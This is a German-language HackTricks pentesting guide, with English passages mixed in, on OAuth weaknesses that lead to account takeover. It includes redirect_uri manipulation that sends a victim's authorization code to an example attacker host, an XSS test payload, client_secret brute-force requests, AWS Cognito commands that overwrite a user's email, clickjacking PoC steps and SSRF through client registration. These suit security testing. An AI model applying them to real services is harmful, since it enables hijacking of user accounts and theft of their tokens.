OAuth to Account takeover

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Basic Information

OAuth bietet verschiedene Versionen; grundlegende Informationen sind unter OAuth 2.0 documentation verfügbar. Diese Erläuterung konzentriert sich hauptsächlich auf den weit verbreiteten OAuth 2.0 authorization code grant type, der einen Autorisierungsrahmen bereitstellt, der einer Anwendung ermöglicht, auf das Konto eines Benutzers in einer anderen Anwendung zuzugreifen oder Aktionen in dessen Namen durchzuführen (dem authorization server).

Betrachten wir eine hypothetische Website https://example.com, die dazu gedacht ist, all Ihre Social-Media-Beiträge anzuzeigen, einschließlich privater Beiträge. Um dies zu ermöglichen, wird OAuth 2.0 verwendet. https://example.com wird Ihre Erlaubnis anfordern, auf Ihre Social-Media-Beiträge zuzugreifen. Folglich erscheint auf https://socialmedia.com ein Consent Screen, auf dem die angeforderten Berechtigungen und der anfragende Entwickler aufgeführt sind. Nach Ihrer Autorisierung erhält https://example.com die Möglichkeit, in Ihrem Namen auf Ihre Beiträge zuzugreifen.

Es ist wichtig, die folgenden Komponenten im OAuth 2.0-Framework zu verstehen:

  • resource owner: Sie, als Benutzer/Entität, der/die den Zugriff auf Ihre Ressource autorisiert, z. B. Ihre Social-Media-Account-Beiträge.
  • resource server: Der Server, der authentifizierte Anfragen bearbeitet, nachdem die Anwendung im Namen des resource owner ein access token erhalten hat, z. B. https://socialmedia.com.
  • client application: Die Anwendung, die vom resource owner eine Autorisierung anfordert, wie z. B. https://example.com.
  • authorization server: Der Server, der access tokens an die client application ausstellt, nachdem der resource owner erfolgreich authentifiziert und autorisiert wurde, z. B. https://socialmedia.com.
  • client_id: Ein öffentliches, eindeutiges Identifikationsmerkmal für die Anwendung.
  • client_secret: Ein vertraulicher Schlüssel, der nur der Anwendung und dem authorization server bekannt ist und zur Generierung von access_tokens verwendet wird.
  • response_type: Ein Wert, der den angeforderten Token-Typ angibt, z. B. code.
  • scope: Der Zugriffsumfang, den die client application vom resource owner anfordert.
  • redirect_uri: Die URL, zu der der Benutzer nach der Autorisierung weitergeleitet wird. Diese muss in der Regel mit der vorab registrierten Redirect-URL übereinstimmen.
  • state: Ein Parameter, um Daten während der Weiterleitung des Benutzers zum und vom authorization server zu erhalten. Seine Einzigartigkeit ist wichtig, da er als CSRF-Schutzmechanismus dient.
  • grant_type: Ein Parameter, der den Grant-Typ und die Art des zurückzugebenden Tokens angibt.
  • code: Der Autorisierungscode vom authorization server, der zusammen mit client_id und client_secret von der client application verwendet wird, um ein access_token zu erhalten.
  • access_token: Der Token, den die client application für API-Anfragen im Namen des resource owner verwendet.
  • refresh_token: Ermöglicht der Anwendung, ein neues access_token zu erhalten, ohne den Benutzer erneut zur Zustimmung aufzufordern.

Flow

Der tatsächliche OAuth-Ablauf verläuft wie folgt:

  1. Sie besuchen https://example.com und klicken auf den Button „Mit Social Media integrieren“.
  2. Die Seite sendet dann eine Anfrage an https://socialmedia.com, um Ihre Zustimmung einzuholen, damit die Anwendung von https://example.com auf Ihre Posts zugreifen darf. Die Anfrage ist wie folgt aufgebaut:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Ihnen wird anschließend eine Zustimmungsseite angezeigt.
  2. Nach Ihrer Zustimmung sendet Social Media eine Antwort an die redirect_uri mit den Parametern code und state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com verwendet diesen code zusammen mit seinem client_id und client_secret, um eine serverseitige Anfrage zu stellen und in Ihrem Namen ein access_token zu erhalten, das Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Schließlich schließt der Prozess ab, wenn https://example.com dein access_token verwendet, um per API auf Social Media zuzugreifen

Schwachstellen

Open redirect_uri

Per RFC 6749 §3.1.2, muss der authorization server den Browser nur zu pre-registered, exact redirect URIs weiterleiten. Jede Schwäche hier erlaubt einem Angreifer, ein Opfer über eine bösartige authorization URL zu schicken, sodass der IdP den code (und state) des Opfers direkt an einen Angreifer-Endpunkt liefert, der ihn dann einlösen und Tokens ernten kann.

Typischer Angriffsablauf:

  1. Erstelle https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback und sende es an das Opfer.
  2. Das Opfer authentifiziert sich und genehmigt die Scopes.
  3. Der IdP leitet zu attacker.tld/callback?code=<victim-code>&state=... weiter, wo der Angreifer die Anfrage protokolliert und den Code sofort eintauscht.

Häufige Validierungsfehler, die überprüft werden sollten:

  • Keine Validierung – jede absolute URL wird akzeptiert, was zu sofortigem code-Diebstahl führt.
  • Schwache Substring-/Regex-Prüfungen am Host – Umgehung mit Täuschungsdomains wie evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com oder match.com@evil.com.
  • IDN-Homograph-Mismatches – die Validierung erfolgt auf der punycode-Form (xn--), aber der Browser leitet zur Unicode-Domain weiter, die vom Angreifer kontrolliert wird.
  • Beliebige Pfade auf einem erlaubten Hostredirect_uri auf /openredirect?next=https://attacker.tld oder jeden XSS-/User-Content-Endpunkt zu zeigen, leakt den Code entweder durch verkettete Redirects, Referer-Header oder injizierte JavaScript.
  • Directory-Constraints ohne Normalisierung – Muster wie /oauth/* lassen sich mit /oauth/../anything umgehen.
  • Wildcard-Subdomains – die Akzeptanz von *.example.com bedeutet, dass jede Übernahme (dangling DNS, S3 bucket, etc.) sofort einen gültigen Callback liefert.
  • Non-HTTPS-Callbacks – das Durchlassen von http://-URIs gibt Netzwerkangreifern (Wi‑Fi, Corporate Proxy) die Möglichkeit, den code während der Übertragung abzufangen.

Prüfe außerdem Hilfs-Redirect-Parameter (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) und das OpenID-Discovery-Dokument (/.well-known/openid-configuration) auf zusätzliche Endpunkte, die dieselben Validierungsfehler erben könnten.

XSS in redirect implementation

Wie in diesem Bug‑Bounty‑Report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html erwähnt, kann es möglich sein, dass die Weiterleitungs-URL in der Antwort des Servers nach der Authentifizierung reflektiert wird und somit für XSS verwundbar ist. Möglicher Payload zum Testen:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Unsachgemäße Behandlung des state-Parameters

Der state-Parameter ist der Authorization Code flow CSRF-Token: der Client muss pro Browser-Instanz einen kryptographisch zufälligen Wert erzeugen, ihn an einem Ort persistieren, den nur dieser Browser lesen kann (Cookie, local storage, etc.), ihn in der authorization request mitsenden und jede Antwort ablehnen, die nicht denselben Wert zurückliefert. Wann immer der Wert statisch, vorhersehbar, optional oder nicht an die Sitzung des Nutzers gebunden ist, kann der Angreifer seinen eigenen OAuth-Flow abschließen, die finale ?code=-Anfrage abfangen (ohne sie abzusenden) und später den Browser des Opfers dazu zwingen, diese Anfrage zu wiederholen, sodass das Konto des Opfers mit dem Identity Provider-Profil des Angreifers verknüpft wird.

Das Replay-Muster ist immer gleich:

  1. Der Angreifer authentifiziert sich beim IdP mit seinem Konto und fängt das letzte Redirect ab, das code (und eventuell state) enthält.
  2. Er verwirft diese Anfrage, behält die URL und missbraucht später ein beliebiges CSRF-Primitive (Link, iframe, auto-submitting form), um den Browser des Opfers zum Laden zu zwingen.
  3. Wenn der Client state nicht durchsetzt, verarbeitet die Anwendung das Autorisierungsergebnis des Angreifers und loggt den Angreifer in das App-Konto des Opfers ein.

Praktische Checkliste für den Umgang mit state während Tests:

  • Völlig fehlendes state – wenn der Parameter nie erscheint, ist der gesamte Login CSRFable.
  • state nicht erforderlich – entferne ihn aus der initialen Anfrage; wenn der IdP trotzdem Codes ausgibt, die der Client akzeptiert, ist die Abwehr opt-in.
  • Zurückgelieferter state wird nicht validiert – manipuliere den Wert in der Antwort (Burp, MITM proxy). Das Akzeptieren nicht übereinstimmender Werte bedeutet, dass das gespeicherte Token nie verglichen wird.
  • Vorhersehbarer oder rein datengetriebener state – viele Apps packen redirect paths oder JSON-Blobs in state, ohne Zufälligkeit einzumischen, wodurch Angreifer gültige Werte erraten und Flows replayen können. Füge immer starke Entropie voran/anhängend hinzu, bevor du Daten kodierst.
  • state fixation – wenn die App Nutzern erlaubt, den state-Wert anzugeben (z. B. via crafted authorization URLs) und ihn im Flow wiederverwendet, kann ein Angreifer einen bekannten Wert festsetzen und ihn über mehrere Opfer hinweg wiederverwenden.

PKCE kann state ergänzen (insbesondere für public clients), indem es den authorization code an einen code verifier bindet, aber Web-Clients müssen state weiterhin verfolgen, um Cross-User-CSRF/Account-Linking-Bugs zu verhindern.

Vor Account Takeover

  1. Ohne E-Mail-Verifizierung bei der Kontoerstellung: Angreifer können vorab ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieter für das Login nutzt, könnte die Anwendung dieses Drittanbieter-Konto versehentlich mit dem vom Angreifer vorab erstellten Konto verknüpfen, was zu unbefugtem Zugriff führt.
  2. Ausnutzung laxerer OAuth-E-Mail-Verifizierung: Angreifer können OAuth-Dienste ausnutzen, die E-Mails nicht verifizieren, indem sie sich registrieren und dann die Konto-E-Mail auf die des Opfers ändern. Diese Methode birgt ähnlich das Risiko unbefugten Konto-Zugriffs wie das erste Szenario, allerdings über einen anderen Angriffsvektor.

Offenlegung von Geheimnissen

Die client_id ist bewusst öffentlich, aber der client_secret darf niemals für Endnutzer rekonstruierbar sein. Authorization Code Deployments, die das Secret in mobile APKs, desktop clients, or single-page apps einbetten, geben diese Anmeldeinformationen effektiv an jeden weiter, der das Paket herunterladen kann. Untersuche public clients immer durch:

  • Entpacken der APK/IPA, des desktop installers oder der Electron app und Greppen/nachsehen nach client_secret, Base64-Blobs, die zu JSON decodieren, oder hard-coded OAuth endpoints.
  • Überprüfen gebündelter Config-Dateien (plist, JSON, XML) oder dekompilierter Strings auf Client-Credentials.

Sobald der Angreifer das Secret extrahiert hat, muss er nur noch einen beliebigen Autorisierungs-code eines Opfers (z. B. via einer schwachen redirect_uri, Logs, etc.) stehlen, um unabhängig /token aufzurufen und access/refresh tokens zu minten, ohne die legitime App einzubeziehen. Behandle public/native clients als nicht in der Lage, Secrets zu halten — sie sollten stattdessen auf PKCE (RFC 7636) setzen, um den Besitz eines pro-Instanz code verifier statt eines statischen Secrets nachzuweisen. Während Tests solltest du bestätigen, ob PKCE verpflichtend ist und ob das Backend Token-Exchanges, die entweder das client_secret oder einen gültigen code_verifier weglassen, tatsächlich ablehnt.

Client Secret Bruteforce

Du kannst versuchen, das client_secret eines Service Providers beim Identity Provider zu bruteforcen, um zu versuchen, Konten zu stehlen.
Die Anfrage zum BF könnte ähnlich aussehen:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer Header leaking Code + State

Wenn der Client die code and state hat und diese im Referer header reflektiert werden, wenn er zu einer anderen Seite navigiert, ist der Flow verwundbar.

Access Token Stored in Browser History

Die Kerngarantie des Authorization Code grants ist, dass access tokens niemals den Browser des Resource Owners erreichen. Wenn Implementationen Tokens client-side leak, wird jeder kleine Bug (XSS, Referer leak, proxy logging) sofort zur Kontoübernahme. Prüfe immer:

  • Tokens in URLs – wenn access_token im Query/Fragment auftaucht, landet es im Browser-Verlauf, in Server-Logs, Analytics und in Referer-Headern, die an Dritte gesendet werden.
  • Tokens transiting untrusted middleboxes – das Zurücksenden von Tokens über HTTP oder durch Debugging-/Corporate-Proxies erlaubt Netzwerkbeobachtern, sie direkt abzufangen.
  • Tokens stored in JavaScript state – React/Vue stores, globale Variablen oder serialisierte JSON-Blobs machen Tokens für jedes Script auf der Origin sichtbar (einschließlich XSS-Payloads oder bösartiger Extensions).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage behalten Tokens lange nach Logout auf gemeinsam genutzten Geräten und sind per Script zugänglich.

Eine dieser Entdeckungen escalatet normalerweise sonst „low“ Bugs (wie ein CSP-Bypass oder DOM XSS) zu einer vollständigen API-Übernahme, weil der Angreifer einfach den leaked bearer token lesen und wiederverwenden kann.

Everlasting Authorization Code

Authorization codes müssen kurzlebig, einmalig und gegen Replay geschützt sein. Beim Bewerten eines Flows fang einen code ab und:

  • Lebensdauer testen – RFC 6749 empfiehlt Minuten, nicht Stunden. Versuche den code nach 5–10 Minuten einzulösen; wenn er noch funktioniert, ist das Exposure-Fenster für einen leaked code zu groß.
  • Sequenzielle Wiederverwendung testen – sende denselben code zweimal. Wenn die zweite Anfrage ein weiteres Token liefert, können Angreifer Sessions unbegrenzt klonen.
  • Parallel-Einlösung / Race Conditions testen – feuere zwei Token-Anfragen parallel ab (Burp intruder, turbo intruder). Schwache Issuer gewähren manchmal beide.
  • Replay-Verhalten beobachten – ein Wiederverwendungsversuch sollte nicht nur fehlschlagen, sondern auch bereits aus diesem code ausgestellte Tokens widerrufen. Andernfalls bleibt bei erkanntem Replay das erste Token des Angreifers aktiv.

Die Kombination eines replay-freundlichen code mit einer beliebigen redirect_uri- oder Logging-Schwachstelle ermöglicht persistierenden Kontozugriff, selbst nachdem das Opfer den legitimen Login abgeschlossen hat.

Authorization/Refresh Token not bound to client

Wenn du den authorization code erhältst und ihn mit einem anderen Client verwendest, kannst du andere Konten übernehmen.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Sieh dir diesen Beitrag an

AWS Cognito

In diesem Bug-Bounty-Report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ siehst du, dass das token, das AWS Cognito an den Benutzer zurückgibt, möglicherweise genügend Berechtigungen besitzt, um Benutzerdaten zu überschreiben. Wenn du also die E-Mail eines Benutzers in eine andere E-Mail ändern kannst, könntest du möglicherweise die Konten anderer übernehmen.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Missbrauch anderer Apps tokens

As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.

This is because an Angreifer could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the Angreifers application, the Angreifer could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Therefore, if the Angreifer manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.

According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the Angreifers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that Angreifers host.

To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the Angreifers host, but the cookie would be set to it, so the token will be sent to the Angreifers host in the redirection.

Prompt Interaction Bypass

As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.

response_mode

As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:

  • response_mode=query -> Der code wird in einem GET-Parameter bereitgestellt: ?code=2397rf3gu93f
  • response_mode=fragment -> Der code wird im URL-Fragment bereitgestellt: #code=2397rf3gu93f
  • response_mode=form_post -> Der code wird in einem POST-Formular mit einem input namens code und dem Wert übermittelt
  • response_mode=web_message -> Der code wird in einer postMessage gesendet: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs sind ideale Ziele für Clickjacking: Wenn sie in einem Frame geladen werden können, kann ein Angreifer eigene Grafiken überlagern, die echten Buttons verbergen und Benutzer dazu bringen, gefährliche Scopes zu genehmigen oder Konten zu verknüpfen. Erstelle PoCs, die:

  1. Die IdP-authorization-URL innerhalb eines <iframe sandbox="allow-forms allow-scripts allow-same-origin"> laden.
  2. Absolute Positionierung/Opacity-Tricks verwenden, um gefälschte Buttons mit den versteckten Allow/Approve Controls zu überlagern.
  3. Optional Parameter vorbefüllen (scopes, redirect URI), sodass die gestohlene Genehmigung dem Angreifer sofort zugutekommt.

Prüfe beim Testen, ob IdP-Seiten entweder X-Frame-Options: DENY/SAMEORIGIN oder eine restriktive Content-Security-Policy: frame-ancestors 'none' ausgeben. Wenn keines von beidem vorhanden ist, zeige das Risiko mit Tools wie dem NCC Group’s clickjacking PoC generator und dokumentiere, wie einfach ein Opfer die App des Angreifers autorisiert. Für zusätzliche Payload-Ideen siehe Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.

ATO on web page redirecting based on open redirect to referrer

This blogpost beschreibt, wie ein open redirect auf den Wert des referrer ausgenutzt werden konnte, um OAuth zu einem ATO zu missbrauchen. Der Angriff war:

  1. Der Victim besucht die Seite des Angreifers.
  2. Der Victim öffnet den bösartigen Link und ein opener startet den Google OAuth Flow mit response_type=id_token,code&prompt=none als zusätzliche Parameter und verwendet als referrer die Website des Angreifers.
  3. Im opener, nachdem der Provider den Victim autorisiert hat, sendet er diesen zurück auf den Wert des redirect_uri-Parameters (Victim-Web) mit einem 30X-Redirect, das trotzdem die Website des Angreifers im referer beibehält.
  4. Die Victim-Website löst den open redirect basierend auf dem referrer aus und leitet den Benutzer zur Seite des Angreifers weiter. Da der respose_type id_token,code war, wird der code im Fragment der URL an den Angreifer gesendet, was es ihm ermöglicht, das Konto des Benutzers über Google auf der Victim-Seite zu übernehmen.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth dient als weniger offensichtlicher, aber kritischer Vektor für Sicherheitslücken, speziell für Server-Side Request Forgery (SSRF)-Angriffe. Dieser Endpoint erlaubt es OAuth-Servern, Details zu Client-Applikationen zu empfangen, inklusive sensibler URLs, die ausgenutzt werden könnten.

Key Points:

  • Dynamic Client Registration ist häufig unter /register zu finden und akzeptiert Details wie client_name, client_secret, redirect_uris sowie URLs für Logos oder JSON Web Key Sets (JWKs) via POST-Requests.
  • Dieses Feature folgt den Spezifikationen in RFC7591 und OpenID Connect Registration 1.0, die Parameter beinhalten, die potenziell SSRF-anfällig sind.
  • Der Registrierungsprozess kann Server unbeabsichtigt für SSRF angreifbar machen, beispielsweise durch:
  • logo_uri: Eine URL für das Client-Logo, die vom Server abgerufen werden könnte und so SSRF auslösen oder zu XSS führen kann, wenn die URL nicht korrekt gehandhabt wird.
  • jwks_uri: Eine URL zum JWK-Dokument des Clients, die, wenn bösartig gesetzt, den Server dazu bringen kann, ausgehende Requests zu einem vom Angreifer kontrollierten Server zu machen.
  • sector_identifier_uri: Verweist auf ein JSON-Array von redirect_uris, das der Server eventuell abrufen könnte und damit eine SSRF-Möglichkeit bietet.
  • request_uris: Listet erlaubte request URIs für den Client auf, die ausgenutzt werden können, wenn der Server diese URIs zu Beginn des Authorization-Prozesses abruft.

Exploitation Strategy:

  • SSRF kann ausgelöst werden, indem ein neuer Client mit bösartigen URLs in Parametern wie logo_uri, jwks_uri oder sector_identifier_uri registriert wird.
  • Während direkte Ausnutzung via request_uris durch Whitelist-Kontrollen eingeschränkt sein kann, kann das Angeben einer vorregistrierten, vom Angreifer kontrollierten request_uri SSRF während der Authorization-Phase ermöglichen.

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:

  • Some Authorization Servers do not ensure that these properties (like email) remain immutable.
  • In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
  • An Angreifer can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
  • Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An Angreifer sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the Angreifer’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the Angreifer can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// oauth is caught based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an Angreifer can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks